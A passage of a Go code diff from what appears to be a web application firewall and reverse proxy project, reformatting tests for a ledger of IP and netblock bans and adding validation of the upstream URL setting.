ban.Notes.Request,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -482,13 +625,23 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
|
|||||||
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
|
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
|
||||||
} {
|
} {
|
||||||
got := held[i].Notes
|
got := held[i].Notes
|
||||||
if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
|
if got.ASN != want.ASN || got.ASName != want.ASName ||
|
||||||
t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
|
got.Country != want.Country {
|
||||||
got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
|
t.Errorf(
|
||||||
|
"ban %d's notes give %q, %q and %q, want %q, %q and %q",
|
||||||
|
i+1,
|
||||||
|
got.ASN,
|
||||||
|
got.ASName,
|
||||||
|
got.Country,
|
||||||
|
want.ASN,
|
||||||
|
want.ASName,
|
||||||
|
want.Country,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
|
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" ||
|
||||||
|
notes.Country != "" {
|
||||||
t.Errorf("the ban on %s has %q and %q, want neither",
|
t.Errorf("the ban on %s has %q and %q, want neither",
|
||||||
other, notes.ASN, notes.Country)
|
other, notes.ASN, notes.Country)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,29 +20,55 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
|
|||||||
expires := midnight().Add(4 * time.Hour)
|
expires := midnight().Add(4 * time.Hour)
|
||||||
|
|
||||||
// The ban that would be made is not made.
|
// The ban that would be made is not made.
|
||||||
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
|
would, wouldBan := ledger.WouldBanForCrowdSec(
|
||||||
scenario, bans.Notes{})
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
expires,
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
||||||
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
|
t.Errorf(
|
||||||
wouldBan, ledger.Bans(netblock))
|
"would ban %t, and the ledger holds %+v, want true and nothing",
|
||||||
|
wouldBan,
|
||||||
|
ledger.Bans(netblock),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
const reason = "CrowdSec's decision for " + scenario
|
const reason = "CrowdSec's decision for " + scenario
|
||||||
|
|
||||||
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
|
ban, made := ledger.BanForCrowdSec(
|
||||||
bans.Notes{})
|
netblock,
|
||||||
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
|
midnight(),
|
||||||
!ban.Expires.Equal(expires) || ban.Reason != reason ||
|
expires,
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
if !made || !reflect.DeepEqual(ban, would) ||
|
||||||
|
ban.Cause != bans.CauseCrowdSec ||
|
||||||
|
!ban.Expires.Equal(expires) ||
|
||||||
|
ban.Reason != reason ||
|
||||||
ledger.Made(bans.CauseCrowdSec) != 1 {
|
ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||||
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
|
t.Errorf(
|
||||||
"crowdsec until %s", made, ban, would, expires)
|
"made %t the ban %+v, want the one that would be made, %+v, for "+
|
||||||
|
"crowdsec until %s",
|
||||||
|
made,
|
||||||
|
ban,
|
||||||
|
would,
|
||||||
|
expires,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// A second decision on the netblock while the ban lasts makes no other.
|
// A second decision on the netblock while the ban lasts makes no other.
|
||||||
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
||||||
expires.Add(time.Hour), scenario, bans.Notes{})
|
expires.Add(time.Hour), scenario, bans.Notes{})
|
||||||
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
|
if made || !again.Expires.Equal(expires) ||
|
||||||
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
|
ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||||
|
t.Errorf(
|
||||||
|
"made %t the ban %+v while the first lasts, want none",
|
||||||
|
made,
|
||||||
|
again,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -52,7 +78,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
expires := midnight().Add(4 * time.Hour)
|
expires := midnight().Add(4 * time.Hour)
|
||||||
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
|
ledger.BanForCrowdSec(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
expires,
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
// A request as the ban ends is refused, and leaves it as it is.
|
// A request as the ban ends is refused, and leaves it as it is.
|
||||||
last := expires.Add(-time.Nanosecond)
|
last := expires.Add(-time.Nanosecond)
|
||||||
@@ -60,8 +92,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
||||||
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
||||||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
||||||
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
|
t.Errorf(
|
||||||
"refused under the ban as it was", banned, held, madePermanent)
|
"as the ban ends, banned %t with %+v, made permanent %t, want "+
|
||||||
|
"refused under the ban as it was",
|
||||||
|
banned,
|
||||||
|
held,
|
||||||
|
madePermanent,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
||||||
@@ -69,7 +106,9 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
@@ -78,13 +117,20 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T)
|
|||||||
// Three times the three days would be permanent; a limit broken as the
|
// Three times the three days would be permanent; a limit broken as the
|
||||||
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
||||||
// limit does.
|
// limit does.
|
||||||
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
|
crowdSec, _ := ledger.BanForCrowdSec(
|
||||||
scenario, bans.Notes{})
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
midnight().Add(3*day),
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
||||||
|
|
||||||
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
||||||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
||||||
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
t.Errorf(
|
||||||
limit)
|
"the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -29,8 +29,16 @@ func TestChangedAfterABanIsMade(t *testing.T) {
|
|||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
// Two bans before the value is read leave one.
|
// Two bans before the value is read leave one.
|
||||||
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
|
ledger.BanForLimit(
|
||||||
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
|
netip.MustParsePrefix("203.0.113.10/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
ledger.BanForLimit(
|
||||||
|
netip.MustParsePrefix("203.0.113.11/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
}
|
}
|
||||||
@@ -52,7 +60,10 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
|
|||||||
|
|
||||||
got := make([]string, 0, len(snapshot))
|
got := make([]string, 0, len(snapshot))
|
||||||
for _, ban := range snapshot {
|
for _, ban := range snapshot {
|
||||||
got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
|
got = append(
|
||||||
|
got,
|
||||||
|
ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
want := []string{
|
want := []string{
|
||||||
@@ -77,7 +88,10 @@ func TestLoadedBansCarryOn(t *testing.T) {
|
|||||||
after := bans.New(defaultParams())
|
after := bans.New(defaultParams())
|
||||||
after.Load(before.Snapshot())
|
after.Load(before.Snapshot())
|
||||||
|
|
||||||
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
|
_, banned, _ := after.Check(
|
||||||
|
netblock.Addr(),
|
||||||
|
ban.Expires.Add(-time.Second),
|
||||||
|
)
|
||||||
if !banned {
|
if !banned {
|
||||||
t.Error("the loaded ban does not refuse")
|
t.Error("the loaded ban does not refuse")
|
||||||
}
|
}
|
||||||
@@ -85,8 +99,11 @@ func TestLoadedBansCarryOn(t *testing.T) {
|
|||||||
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
|
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
|
||||||
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
||||||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
|
t.Errorf(
|
||||||
again.Expires.Sub(again.Start), again.Notes.EarlierBans)
|
"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
|
||||||
|
again.Expires.Sub(again.Start),
|
||||||
|
again.Notes.EarlierBans,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -98,10 +115,20 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
|
|||||||
// ban covers, beside a ban the ledger makes on one IPv4 address.
|
// ban covers, beside a ban the ledger makes on one IPv4 address.
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
ledger.Load([]bans.Ban{
|
ledger.Load([]bans.Ban{
|
||||||
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
|
{
|
||||||
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
|
Netblock: netip.MustParsePrefix("203.0.113.9/24"),
|
||||||
|
Start: midnight(),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Netblock: netip.MustParsePrefix("2001:db8::1/48"),
|
||||||
|
Start: midnight(),
|
||||||
|
},
|
||||||
})
|
})
|
||||||
ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
|
ledger.BanForLimit(
|
||||||
|
netip.MustParsePrefix("198.51.100.7/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
for client, want := range map[string]bool{
|
for client, want := range map[string]bool{
|
||||||
"203.0.113.0": true,
|
"203.0.113.0": true,
|
||||||
@@ -138,7 +165,10 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
|||||||
// As when an admin adds a permanent ban to bans.json with a start
|
// As when an admin adds a permanent ban to bans.json with a start
|
||||||
// before that of the netblock's ban that has ended.
|
// before that of the netblock's ban that has ended.
|
||||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||||
permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
|
permanent := bans.Ban{
|
||||||
|
Netblock: netblock,
|
||||||
|
Start: midnight().Add(-time.Hour),
|
||||||
|
}
|
||||||
ended := bans.Ban{
|
ended := bans.Ban{
|
||||||
Netblock: netblock,
|
Netblock: netblock,
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -153,20 +183,31 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
|||||||
|
|
||||||
ban, banned, _ := ledger.Find(client, now)
|
ban, banned, _ := ledger.Find(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
|
t.Errorf(
|
||||||
|
"find gives %+v and %t, want the permanent ban",
|
||||||
|
ban,
|
||||||
|
banned,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, banned, _ = ledger.Check(client, now)
|
ban, banned, _ = ledger.Check(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
|
t.Errorf(
|
||||||
banned, ban)
|
"the client is refused: %t, under %+v, want under the permanent ban",
|
||||||
|
banned,
|
||||||
|
ban,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// A limit broken now makes no shorter ban over the permanent one.
|
// A limit broken now makes no shorter ban over the permanent one.
|
||||||
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
||||||
t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
|
t.Errorf(
|
||||||
"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
|
"a broken limit returned %+v and left the netblock %d bans, "+
|
||||||
|
"want the permanent ban and 2",
|
||||||
|
ban,
|
||||||
|
len(ledger.Bans(netblock)),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -195,7 +236,11 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
|
|||||||
// Once both have ended, a limit broken within the repeat window bans
|
// Once both have ended, a limit broken within the repeat window bans
|
||||||
// for three times the 9 hours, and the notes count the two bans
|
// for three times the 9 hours, and the notes count the two bans
|
||||||
// before the 9-hour one and it, for a limit, and the admin's.
|
// before the 9-hour one and it, for a limit, and the admin's.
|
||||||
ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
|
ban, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
nineHours.Expires.Add(time.Hour),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
||||||
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
|
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
|
||||||
@@ -226,7 +271,10 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
|
|||||||
|
|
||||||
held := ledger.Snapshot()
|
held := ledger.Snapshot()
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
|
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
|
||||||
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
|
t.Errorf(
|
||||||
|
"the ledger holds %+v, want only the ban that began later",
|
||||||
|
held,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -256,16 +304,25 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
|
|||||||
// bans.json is taken in, that ban is lifted.
|
// bans.json is taken in, that ban is lifted.
|
||||||
ledger.Load([]bans.Ban{kept})
|
ledger.Load([]bans.Ban{kept})
|
||||||
|
|
||||||
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
|
_, banned, _ := ledger.Check(
|
||||||
|
netip.MustParseAddr("203.0.113.9"),
|
||||||
|
midnight(),
|
||||||
|
)
|
||||||
if banned {
|
if banned {
|
||||||
t.Error("a ban left out of the second load still refuses")
|
t.Error("a ban left out of the second load still refuses")
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ledger holds one ban, so it makes two more without dropping any.
|
// The ledger holds one ban, so it makes two more without dropping any.
|
||||||
first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
|
first, _ := ledger.BanForLimit(
|
||||||
bans.Notes{})
|
netip.MustParsePrefix("198.51.100.7/32"),
|
||||||
second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
|
midnight(),
|
||||||
bans.Notes{})
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
second, _ := ledger.BanForLimit(
|
||||||
|
netip.MustParsePrefix("198.51.100.8/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
want := []bans.Ban{first, second, kept}
|
want := []bans.Ban{first, second, kept}
|
||||||
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
||||||
|
|||||||
+7
-2322
File diff suppressed because it is too large.
Load diff
+82
-14
@@ -22,12 +22,12 @@ type RProxy struct {
|
|||||||
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
||||||
// (SWRP_TRUSTED_PROXIES).
|
// (SWRP_TRUSTED_PROXIES).
|
||||||
TrustedProxies []netip.Prefix
|
TrustedProxies []netip.Prefix
|
||||||
// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
|
// WAFBackend is waf's URL (SWRP_WAF_BACKEND).
|
||||||
WAFBackend *url.URL
|
WAFBackend *url.URL
|
||||||
// Timeout is how long rproxy waits for discriminator's answer to a question,
|
// Timeout is how long rproxy waits for waf's answer to a question,
|
||||||
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// DefaultDisposition is what is done with a request when discriminator cannot be
|
// DefaultDisposition is what is done with a request when waf cannot be
|
||||||
// connected to, does not answer at all, or does not answer within Timeout:
|
// connected to, does not answer at all, or does not answer within Timeout:
|
||||||
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
||||||
DefaultDisposition string
|
DefaultDisposition string
|
||||||
@@ -48,14 +48,25 @@ type RProxy struct {
|
|||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
|
||||||
|
const defaultUpstreamURL = "http://127.0.0.1:8081"
|
||||||
|
|
||||||
|
// privateRanges are the private address ranges, the default trusted
|
||||||
|
// proxies.
|
||||||
|
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
|
||||||
|
|
||||||
var (
|
var (
|
||||||
|
errNotUpstreamURL = errors.New(
|
||||||
|
"is not a URL with only a scheme, a host and an optional port, " +
|
||||||
|
"such as http://127.0.0.1:8081")
|
||||||
errNeedsWAFBackend = errors.New(
|
errNeedsWAFBackend = errors.New(
|
||||||
"is required: it is discriminator's URL, such as http://discriminator:8080")
|
"is required: it is waf's URL, such as http://waf:8080")
|
||||||
errNotDisposition = errors.New("is not allow or deny")
|
errNotDisposition = errors.New("is not allow or deny")
|
||||||
errNotMilliseconds = errors.New(
|
errNotMilliseconds = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 2000")
|
"is not a whole number of milliseconds above zero, such as 2000")
|
||||||
errNotMillisecondsOrOff = errors.New(
|
errNotMillisecondsOrOff = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 60000, or off")
|
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
||||||
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
||||||
@@ -63,19 +74,36 @@ var (
|
|||||||
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
||||||
// invalid is an error that names it. Since rproxy never touches disk, its
|
// invalid is an error that names it. Since rproxy never touches disk, its
|
||||||
// settings have no _FILE form.
|
// settings have no _FILE form.
|
||||||
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
|
func RProxyFromEnvironment(
|
||||||
|
lookupEnv func(string) (string, bool),
|
||||||
|
) (*RProxy, error) {
|
||||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||||
cfg := &RProxy{
|
cfg := &RProxy{
|
||||||
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
||||||
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
|
UpstreamURL: env.appURL(
|
||||||
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
|
"SWRP_UPSTREAM_URL",
|
||||||
|
defaultUpstreamURL,
|
||||||
|
),
|
||||||
|
TrustedProxies: env.netblocks(
|
||||||
|
"SWRP_TRUSTED_PROXIES",
|
||||||
|
privateRanges,
|
||||||
|
),
|
||||||
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
||||||
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
||||||
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
|
DefaultDisposition: env.disposition(
|
||||||
|
"SWRP_DEFAULT_DISPOSITION",
|
||||||
|
"allow",
|
||||||
|
),
|
||||||
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
||||||
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
||||||
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
|
MaxRequestTime: env.millisecondsOrOff(
|
||||||
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
|
"SWRP_MAX_REQUEST_TIME_MS",
|
||||||
|
"60000",
|
||||||
|
),
|
||||||
|
MaxResponseTime: env.millisecondsOrOff(
|
||||||
|
"SWRP_MAX_RESPONSE_TIME_MS",
|
||||||
|
"1800000",
|
||||||
|
),
|
||||||
}
|
}
|
||||||
|
|
||||||
if env.err != nil {
|
if env.err != nil {
|
||||||
@@ -124,7 +152,15 @@ func (c *RProxy) LogValue() slog.Value {
|
|||||||
return slog.GroupValue(c.settings...)
|
return slog.GroupValue(c.settings...)
|
||||||
}
|
}
|
||||||
|
|
||||||
// wafBackend reads the setting that is discriminator's URL, which must be set.
|
// appURL reads a setting that is the app's URL.
|
||||||
|
func (e *environment) appURL(name, defaultValue string) *url.URL {
|
||||||
|
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
|
||||||
|
e.check(name, err)
|
||||||
|
|
||||||
|
return upstream
|
||||||
|
}
|
||||||
|
|
||||||
|
// wafBackend reads the setting that is waf's URL, which must be set.
|
||||||
func (e *environment) wafBackend(name string) *url.URL {
|
func (e *environment) wafBackend(name string) *url.URL {
|
||||||
value := e.value(name, "")
|
value := e.value(name, "")
|
||||||
if value == "" {
|
if value == "" {
|
||||||
@@ -139,7 +175,7 @@ func (e *environment) wafBackend(name string) *url.URL {
|
|||||||
return backend
|
return backend
|
||||||
}
|
}
|
||||||
|
|
||||||
// disposition reads the setting that is what is done with a request when discriminator
|
// disposition reads the setting that is what is done with a request when waf
|
||||||
// cannot be connected to, does not answer at all, or does not answer in time:
|
// cannot be connected to, does not answer at all, or does not answer in time:
|
||||||
// allow or deny.
|
// allow or deny.
|
||||||
func (e *environment) disposition(name, defaultValue string) string {
|
func (e *environment) disposition(name, defaultValue string) string {
|
||||||
@@ -166,7 +202,9 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
|||||||
|
|
||||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||||
// above zero, or off, which is 0.
|
// above zero, or off, which is 0.
|
||||||
func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
|
func (e *environment) millisecondsOrOff(
|
||||||
|
name, defaultValue string,
|
||||||
|
) time.Duration {
|
||||||
value := e.value(name, defaultValue)
|
value := e.value(name, defaultValue)
|
||||||
if value == off {
|
if value == off {
|
||||||
return 0
|
return 0
|
||||||
@@ -190,3 +228,33 @@ func parseMilliseconds(value string) (time.Duration, bool) {
|
|||||||
|
|
||||||
return time.Duration(n) * time.Millisecond, true
|
return time.Duration(n) * time.Millisecond, true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
||||||
|
// optional port from 1 to 65535, and nothing else, since the request's
|
||||||
|
// own path and query go to the app unchanged.
|
||||||
|
func parseUpstreamURL(value string) (*url.URL, error) {
|
||||||
|
upstream, err := url.Parse(value)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
|
||||||
|
upstream.Hostname() != "" &&
|
||||||
|
upstream.User == nil &&
|
||||||
|
upstream.Opaque == "" &&
|
||||||
|
(upstream.Path == "" || upstream.Path == "/") &&
|
||||||
|
upstream.RawQuery == "" &&
|
||||||
|
upstream.Fragment == ""
|
||||||
|
if !onlySchemeAndHost {
|
||||||
|
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
if upstream.Port() != "" {
|
||||||
|
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
|
||||||
|
if err != nil || port == 0 {
|
||||||
|
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return upstream, nil
|
||||||
|
}
|
||||||
@@ -24,7 +24,7 @@ const (
|
|||||||
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
||||||
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||||
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||||
backendURL = "http://discriminator:8080"
|
backendURL = "http://waf:8080"
|
||||||
rproxyDefaultAddr = ":8080"
|
rproxyDefaultAddr = ":8080"
|
||||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||||
notASize = "a lot"
|
notASize = "a lot"
|
||||||
